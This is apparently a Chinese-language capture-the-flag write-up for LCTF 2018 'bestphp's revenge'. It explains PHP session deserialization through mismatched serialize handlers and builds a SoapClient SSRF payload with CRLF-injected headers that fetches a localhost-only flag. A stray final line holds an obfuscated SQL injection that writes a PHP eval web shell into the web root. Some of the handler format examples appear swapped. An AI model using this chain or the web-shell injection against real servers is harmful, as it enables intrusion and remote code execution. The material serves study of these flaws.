lctf babyphp's revenge

php中session反序列化机制

简介

session中有关序列化配置:

session.serialize_handler=php	   	表明session的默认序列话引擎使用的是php序列话引擎

session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。

  • php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

    例:

    names:6:"spoock";

    name|s:6:"spoock";其中name是键值,s:6:”spoock”是反序列化的结果

  • php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
    例:
    a:1:{s:4:"name";s:6:"spoock"}对一整个name=spoock进行序列化存储

  • php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

    例:

    name|s:6:"spoock";其中name是键值,s:6:”spoock”是反序列化的结果

在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');。示例代码如下:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something

存储机制

php中的session内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。

session反序列化利用

session序列化的危害主要来自于不同存储引擎的解析存储方法不同,如果对同一组输入值进行不同的解析方式,那么就会产生风险。
例:

$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';

上述session使用的是php_serialize,所以最后的存储内容是

a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}

但是如果我们在读取的过程中选择PHP,那么就会变成

array (size=1)
'a:1:{s:6:"spoock";s:24:"' =>
object(__PHP_Incomplete_Class)[1]
public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)

也就是PeopClass这个类也会在反序列化读取中被执行
这是因为当使用php引擎的时候,php引擎会以**|**作为作为key和value的分隔符,那么就会将a:1:{s:6:"spoock";s:24:"作为SESSION的key,将O:11:"PeopleClass":0:{}作为value,然后进行反序列化,最后就会得到PeopleClas这个类。
这种由于序列化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。

lctf-bestphp’s revenge

SOAP简介

SOAP(Simple Object Access Protocol)是一种在 web service 通信时所用的基于 xml 的协议。
可以用来修改报文,以及修改访问的目标的ip
https://wooyun.js.org/drops/Trying%20to%20hack%20Redis%20via%20HTTP%20requests.html

看题目:
flag.php

only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!

他需要loalhost访问,那基本是SSRF的题目了,接下来就寻找一下如何突破:

 <?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> array(0) {}

我们可以看到这里输出的唯一内容是session,所以我们需要从session进行入手。
session通过修改存储机制可以进行反序列化:
而session正好有可以修改配置文件的函数
session_start()
eg:img

img
<?php
// 设置 cookie 的有效时间为 1 天
session_start([
'cookie_lifetime' => 86400,
]);
?>

通过调用soapclient类就可以实现修改访问的ip了
soapclient内置类的开启需要在php.ini中进行配置
img

接下来就是构造payload,先通过一个简单的实例,通过构造这样的一个类,可以实现发送到服务端地址的改变:
这是php手册中关于soapclient类的construct构造的定义
https://www.php.net/manual/zh/soapclient.construct.php

如果在 WSDL 模式下工作,则此参数是可选的。如果在非 WSDL 模式下工作,则必须设置location和 uri选项,其中location 是将请求发送到的 SOAP 服务器的 URL,是 SOAP 服务uri 的目标名称空间。
<?php
$a=new SoapClient(null,array('location'=>"http://127.0.0.1/flag.php","uri"=>"http://127.0.0.1/",'user_agent' => "a:c\r\n" ."Cookie:PHPSESSID=1",));
//这个uri没有强制指定,所以都可以
echo(urlencode(serialize($a)));

好的基本信息大概都清楚了,接下来就是如何利用题目中的函数实现,首先我们先用php_serialize存储机制存入SoapClient,首先构造一下我们需要反序列化的soap类,

<?php
$a=new SoapClient(null,array('location'=>"http://127.0.0.1/flag.php","uri"=>"http://test-uri/","Cookie:PHPSESSID=i9n0hbcqn1vmhnpdnterckj8h0"))
//这个uri没有强制指定,所以都可以,PHPsessid需要设置不然访问不到
echo urlencode(serialize($a));
call_user_func()把第一个参数作为回调函数调用,其他参数是回调函数的参数

img

成功写入img

接下里进行改内容的反序列化调用,由于soap的ssrf是需要调用_call方法的,所以这里我们要想想如何调用什么不存在的类和方法=-=,可想而知 就是这里的welcome_to…..,具体的运作逻辑如下

img

几个函数补充了解一下:
img
img

题目中接下来的代码运作是:首先reset将数组的内部指针指向第一个单元也就是SoapClient,然后将welcome_..也合并在这个数组当中

img
最后再使用implode将这个数组转化为字符串,但其中都没有触发过这个soap的__call方法
这里我们可以将变量b覆盖为call_user_func,令其在最后调用执行SoapClient,但是传入的b会被写入为数组形式,所以我们还需要一个函数将其释放出来,就是
extract()
它的主要作用是将数组展开,键名作为变量名,元素值为变量值

所以payload如下:

img

访问session=1(刚刚设置的)

img

小结:

1.session反序列化机制主要是利用session存储机制不同所造成的的漏洞
2.判别标准是:session是否开启,session_start函数是否可以被调用,是否存在多余参数可以用来控制session_handler。
3.可以利用soap内置类实现ssrf

1'ununionion selselectect '<?php eval($_POST[a]);?>' INintoTO OUToutfileFILE '/var/www/html/1.php'#
Author

vague huang

Posted on

2021-07-20

Updated on

2021-10-24

Licensed under

Comments